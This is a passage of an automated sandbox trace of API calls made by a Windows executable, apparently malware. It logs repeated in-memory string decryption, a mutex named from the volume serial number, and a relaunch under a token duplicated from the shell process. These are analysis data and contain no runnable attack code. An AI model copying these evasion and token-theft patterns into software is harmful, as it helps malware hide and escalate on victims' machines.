Size=0x1e) returned 0xb86250 [0050.976] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86278 [0050.976] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb862a0 [0050.976] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x5931e0) returned 1 [0050.976] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0050.976] CryptDecrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb862a0, pdwDataLen=0xabf790 | out: pbData=0xb862a0, pdwDataLen=0xabf790) returned 1 [0050.976] CryptDestroyKey (hKey=0x5931e0) returned 1 [0050.976] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb862a0 | out: hHeap=0xb80000) returned 1 [0050.976] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb86250, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0050.976] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86278 | out: hHeap=0xb80000) returned 1 [0050.976] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0050.976] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.977] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86250 | out: hHeap=0xb80000) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86228 [0050.977] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x5931e0) returned 1 [0050.977] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0050.977] CryptDecrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7ec | out: pbData=0xb86228, pdwDataLen=0xabf7ec) returned 1 [0050.977] CryptDestroyKey (hKey=0x5931e0) returned 1 [0050.977] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb86270 [0050.977] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x1ac [0050.977] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0050.977] CloseHandle (hObject=0x1ac) returned 1 [0050.977] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0050.977] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86270 | out: hHeap=0xb80000) returned 1 [0050.977] Sleep (dwMilliseconds=0x3e8) [0052.307] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86228 [0052.307] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x5931e0) returned 1 [0052.307] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0052.307] CryptDecrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7b8 | out: pbData=0xb86228, pdwDataLen=0xabf7b8) returned 1 [0052.308] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.308] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb86250 [0052.308] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86278 [0052.308] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb862a0 [0052.308] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x5931e0) returned 1 [0052.308] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0052.308] CryptDecrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb862a0, pdwDataLen=0xabf790 | out: pbData=0xb862a0, pdwDataLen=0xabf790) returned 1 [0052.308] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.308] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb862a0 | out: hHeap=0xb80000) returned 1 [0052.308] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb86250, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0052.308] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86278 | out: hHeap=0xb80000) returned 1 [0052.308] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0052.308] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0052.308] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86250 | out: hHeap=0xb80000) returned 1 [0052.308] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86228 [0052.308] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x5931e0) returned 1 [0052.308] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0052.308] CryptDecrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7ec | out: pbData=0xb86228, pdwDataLen=0xabf7ec) returned 1 [0052.308] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.308] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb86270 [0052.308] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x194 [0052.308] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x102 [0052.309] CloseHandle (hObject=0x194) returned 1 [0052.309] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0052.309] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86270 | out: hHeap=0xb80000) returned 1 [0052.309] Sleep (dwMilliseconds=0x3e8) [0053.616] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86228 [0053.617] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x593260) returned 1 [0053.617] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0053.617] CryptDecrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7b8 | out: pbData=0xb86228, pdwDataLen=0xabf7b8) returned 1 [0053.617] CryptDestroyKey (hKey=0x593260) returned 1 [0053.617] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb86250 [0053.617] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86278 [0053.617] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb862a0 [0053.617] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x593260) returned 1 [0053.617] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0053.617] CryptDecrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb862a0, pdwDataLen=0xabf790 | out: pbData=0xb862a0, pdwDataLen=0xabf790) returned 1 [0053.617] CryptDestroyKey (hKey=0x593260) returned 1 [0053.617] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb862a0 | out: hHeap=0xb80000) returned 1 [0053.617] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb86250, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.617] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86278 | out: hHeap=0xb80000) returned 1 [0053.617] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0053.617] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.617] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86250 | out: hHeap=0xb80000) returned 1 [0053.617] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86228 [0053.617] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x593260) returned 1 [0053.617] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0053.617] CryptDecrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7ec | out: pbData=0xb86228, pdwDataLen=0xabf7ec) returned 1 [0053.617] CryptDestroyKey (hKey=0x593260) returned 1 [0053.617] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb86270 [0053.617] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x174 [0053.617] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0053.617] CloseHandle (hObject=0x174) returned 1 [0053.618] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0053.618] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86270 | out: hHeap=0xb80000) returned 1 [0053.618] Sleep (dwMilliseconds=0x3e8) [0055.002] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86228 [0055.002] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x593260) returned 1 [0055.002] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0055.002] CryptDecrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7b8 | out: pbData=0xb86228, pdwDataLen=0xabf7b8) returned 1 [0055.003] CryptDestroyKey (hKey=0x593260) returned 1 [0055.003] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb86250 [0055.003] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86278 [0055.003] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb862a0 [0055.003] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x593260) returned 1 [0055.003] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0055.003] CryptDecrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb862a0, pdwDataLen=0xabf790 | out: pbData=0xb862a0, pdwDataLen=0xabf790) returned 1 [0055.003] CryptDestroyKey (hKey=0x593260) returned 1 [0055.003] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb862a0 | out: hHeap=0xb80000) returned 1 [0055.003] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb86250, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.003] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86278 | out: hHeap=0xb80000) returned 1 [0055.003] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0055.003] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.003] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86250 | out: hHeap=0xb80000) returned 1 [0055.003] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86228 [0055.003] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x593260) returned 1 [0055.003] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0055.003] CryptDecrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7ec | out: pbData=0xb86228, pdwDataLen=0xabf7ec) returned 1 [0055.003] CryptDestroyKey (hKey=0x593260) returned 1 [0055.003] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb86270 [0055.003] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x194 [0055.003] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x102 [0055.003] CloseHandle (hObject=0x194) returned 1 [0055.003] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0055.003] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86270 | out: hHeap=0xb80000) returned 1 [0055.004] Sleep (dwMilliseconds=0x3e8) [0056.435] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86228 [0056.435] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x593260) returned 1 [0056.435] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0056.435] CryptDecrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7b8 | out: pbData=0xb86228, pdwDataLen=0xabf7b8) returned 1 [0056.435] CryptDestroyKey (hKey=0x593260) returned 1 [0056.435] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb86250 [0056.435] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86278 [0056.435] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb862a0 [0056.435] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x593260) returned 1 [0056.435] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0056.435] CryptDecrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb862a0, pdwDataLen=0xabf790 | out: pbData=0xb862a0, pdwDataLen=0xabf790) returned 1 [0056.435] CryptDestroyKey (hKey=0x593260) returned 1 [0056.435] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb862a0 | out: hHeap=0xb80000) returned 1 [0056.435] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb86250, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0056.435] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86278 | out: hHeap=0xb80000) returned 1 [0056.435] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0056.435] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.436] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86250 | out: hHeap=0xb80000) returned 1 [0056.436] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86228 [0056.436] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x593260) returned 1 [0056.436] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0056.436] CryptDecrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7ec | out: pbData=0xb86228, pdwDataLen=0xabf7ec) returned 1 [0056.436] CryptDestroyKey (hKey=0x593260) returned 1 [0056.436] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb86270 [0056.436] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x1ac [0056.436] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0056.436] CloseHandle (hObject=0x1ac) returned 1 [0056.436] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0056.436] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86270 | out: hHeap=0xb80000) returned 1 [0056.436] Sleep (dwMilliseconds=0x3e8) [0057.904] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86228 [0057.904] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x5932a0) returned 1 [0057.904] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0057.904] CryptDecrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7b8 | out: pbData=0xb86228, pdwDataLen=0xabf7b8) returned 1 [0057.904] CryptDestroyKey (hKey=0x5932a0) returned 1 [0057.904] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb86250 [0057.904] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86278 [0057.905] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb862a0 [0057.905] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x5932a0) returned 1 [0057.905] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0057.905] CryptDecrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb862a0, pdwDataLen=0xabf790 | out: pbData=0xb862a0, pdwDataLen=0xabf790) returned 1 [0057.905] CryptDestroyKey (hKey=0x5932a0) returned 1 [0057.905] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb862a0 | out: hHeap=0xb80000) returned 1 [0057.905] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb86250, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0057.905] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86278 | out: hHeap=0xb80000) returned 1 [0057.905] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0057.905] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.905] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86250 | out: hHeap=0xb80000) returned 1 [0057.905] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86228 [0057.905] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x5932a0) returned 1 [0057.905] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0057.905] CryptDecrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7ec | out: pbData=0xb86228, pdwDataLen=0xabf7ec) returned 1 [0057.905] CryptDestroyKey (hKey=0x5932a0) returned 1 [0057.905] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb86270 [0057.905] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x1b0 [0057.905] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0057.905] CloseHandle (hObject=0x1b0) returned 1 [0057.905] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0057.905] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86270 | out: hHeap=0xb80000) returned 1 [0057.905] Sleep (dwMilliseconds=0x3e8) Thread: id = 3 os_tid = 0xa60 [0031.712] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb814a0 [0031.712] GetVersion () returned 0x1db10106 [0031.712] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x50) returned 0xb816b8 [0031.712] CryptImportKey (in: hProv=0x585138, pbData=0xd8fde4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe4c | out: phKey=0xd8fe4c*=0x587630) returned 1 [0031.712] CryptSetKeyParam (hKey=0x587630, dwParam=0x1, pbData=0xd8fe34, dwFlags=0x0) returned 1 [0031.712] CryptDecrypt (in: hKey=0x587630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb816b8, pdwDataLen=0xd8fe00 | out: pbData=0xb816b8, pdwDataLen=0xd8fe00) returned 1 [0031.712] CryptDestroyKey (hKey=0x587630) returned 1 [0031.712] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.712] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.713] Wow64DisableWow64FsRedirection (in: OldValue=0xd8fee8 | out: OldValue=0xd8fee8*=0x0) returned 1 [0031.713] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb816b8 | out: hHeap=0xb80000) returned 1 [0031.713] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x74d40000 [0031.713] GetProcAddress (hModule=0x74d40000, lpProcName="CreateProcessWithTokenW") returned 0x74d8531f [0031.713] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb814a0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0031.713] GetShellWindow () returned 0x100f2 [0031.714] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0xd8fef0 | out: lpdwProcessId=0xd8fef0) returned 0x460 [0031.714] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x45c) returned 0x98 [0031.714] OpenProcessToken (in: ProcessHandle=0x98, DesiredAccess=0x2000000, TokenHandle=0xd8fefc | out: TokenHandle=0xd8fefc*=0x9c) returned 1 [0031.714] DuplicateTokenEx (in: hExistingToken=0x9c, dwDesiredAccess=0x2000000, lpTokenAttributes=0xd8fedc, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xd8fef8 | out: phNewToken=0xd8fef8*=0xa0) returned 1 [0031.714] CreateProcessWithTokenW (in: hToken=0xa0, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xd8fe88*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xd8fecc | out: lpCommandLine=0x0, lpProcessInformation=0xd8fecc*(hProcess=0xec, hThread=0xf0, dwProcessId=0xa6c, dwThreadId=0xa70)) returned 1 [0031.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x50) returned 0xb816b8 [0031.842] CryptImportKey (in: hProv=0x585138, pbData=0xd8fde4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe4c | out: phKey=0xd8fe4c*=0x588350) returned 1 [0031.842] CryptSetKeyParam (hKey=0x588350, dwParam=0x1, pbData=0xd8fe34, dwFlags=0x0) returned 1 [0031.842] CryptDecrypt (in: hKey=0x588350, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb816b8, pdwDataLen=0xd8fe00 | out: pbData=0xb816b8, pdwDataLen=0xd8fe00) returned 1 [0031.842] CryptDestroyKey (hKey=0x588350) returned 1 [0031.843] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.843] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76c4d668 [0031.843] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0031.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb816b8 | out: hHeap=0xb80000) returned 1 [0031.843] CloseHandle (hObject=0x98) returned 1 [0031.843] CloseHandle (hObject=0xec) returned 1 [0031.843] CloseHandle (hObject=0xf0) returned 1 [0031.843] CloseHandle (hObject=0x9c) returned 1 [0031.843] CloseHandle (hObject=0xa0) returned 1 [0031.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 Thread: id = 4 os_tid = 0xa64 Thread: id = 12 os_tid = 0xa94 Thread: id = 